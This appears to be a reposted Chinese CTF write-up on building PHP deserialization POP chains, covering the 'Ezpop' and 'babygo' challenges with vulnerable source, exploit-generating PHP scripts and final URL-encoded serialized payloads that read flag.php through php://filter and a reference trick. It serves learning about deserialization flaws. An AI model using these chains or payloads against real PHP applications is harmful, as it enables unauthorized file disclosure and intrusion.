PHP反序列化—构造POP链
前言:
最近在刷題的時(shí)候發(fā)現(xiàn)這個(gè)PHP反序列化—POP鏈,之前理解的序列化攻擊多是在魔術(shù)方法中出現(xiàn)一些利用的漏洞,自動(dòng)調(diào)用從而觸發(fā)漏洞。但如果關(guān)鍵代碼不在魔術(shù)方法中,而是在一個(gè)類的普通方法中。這時(shí)候可以通過尋找相同的函數(shù)名將類的屬性和敏感函數(shù)的屬性聯(lián)系起來(lái)。
直接通過題目來(lái)進(jìn)行學(xué)習(xí),這樣更容易掌握!!!
Ezpop
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);} }class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}} }class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();} }if(isset($_GET['pop'])){@unserialize($_GET['pop']); } else{$a=new Show;highlight_file(__FILE__); }將涉及到的魔法函數(shù)先列出一下:
__construct 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用, __toString 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。 __wakeup() 使用unserialize時(shí)觸發(fā) __get() 用于從不可訪問的屬性讀取數(shù)據(jù) #難以訪問包括:(1)私有屬性,(2)沒有初始化的屬性 __invoke() 當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)POP鏈的開始是Show類開始,到Modifier類結(jié)束,更準(zhǔn)確的說應(yīng)該是到__invoke()結(jié)束。分析流程如下:
流程就是這樣,一層一層的觸發(fā)
#y1ng師傅的腳本,有些地方還是不太清楚之后再看看,慢慢理解 <?phpclass Modifier {protected $var = "php://filter/convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;public function __construct($file){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return "www.gem-love.com";} }class Test{public $p;public function __construct(){$this->p = new Modifier();} }$o = new Show('aaa'); $o->str= new Test();#觸發(fā)__get()方法,需要訪問不存在的成員變量 $y1ng = new Show($o); echo urlencode(serialize($y1ng));安恒月賽babygo
<?php @error_reporting(1); include 'flag.php'; class baby { protected $skyobj; public $aaa;public $bbb;function __construct() { $this->skyobj = new sec;} function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename; public $nice;public $amzing; function read() { $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;if($this->nice->aaa === $this->nice->bbb){$file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } }} } class sec { function read() { return "it's so sec~~"; } } if (isset($_GET['data'])) { $Input_data = unserialize($_GET['data']);echo $Input_data; } else { highlight_file("./index.php"); } ?>分析流程:
下面就來(lái)構(gòu)造POP鏈,發(fā)現(xiàn)$this->nice = unserialize($this->amzing);,可以先構(gòu)造到這個(gè)地方
class baby { protected $skyobj; public $aaa;public $bbb;function __construct() { $this->skyobj = new cool;//更改為cool類} function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename='flag.php'; public $nice;public $amzing; function read() { $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;if($this->nice->aaa === $this->nice->bbb){$file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "you must be joking!"; } }} } $lemon = new baby(); echo urlencode(serialize($lemon));這樣amazing便是一個(gè)序列化后的baby類的對(duì)象
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D接下來(lái)就是如何繞過if條件和未知變量 $sth的問題,可以通過使用指針來(lái)進(jìn)行繞過
指針在運(yùn)行時(shí)可以改變其所指向的值,而引用一旦和某個(gè)對(duì)象綁定后就不再改變
$a->bbb =&$a->aaa; #通過指針,bbb會(huì)跟隨aaa動(dòng)態(tài)改變接下來(lái)就來(lái)構(gòu)造最終的EXP:
<?php class baby { protected $skyobj; public $aaa;public $bbb;function __construct() { $this->skyobj = new cool;//更改為cool類} function __toString() { if (isset($this->skyobj)) return $this->skyobj->read(); } } class cool { public $filename='./flag.php'; public $nice;public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D '; function read() { $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;} } $a = new baby(); $a->bbb =&$a->aaa; echo urlencode(serialize($a));最終payload:
O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A245%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253Bs%253A8%253A%2522flag.php%2522%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BN%253B%257D%0A%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D
這里需要轉(zhuǎn)換下思維,仔細(xì)想想之前所做的都是在繞過一些魔法函數(shù)之類的,構(gòu)造POP鏈相當(dāng)于給出了這些類,需要從這些類中關(guān)系串成一個(gè)新的代碼,傳入執(zhí)行,現(xiàn)在是這樣理解的,如有錯(cuò)誤還請(qǐng)師傅們指出。
未完待續(xù)。。。等再遇到一些題目涉及到POP鏈再來(lái)補(bǔ)充!
總結(jié)
以上是生活随笔為你收集整理的PHP反序列化—构造POP链的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP原生类反序列化
- 下一篇: PHP弱类型及一些绕过姿势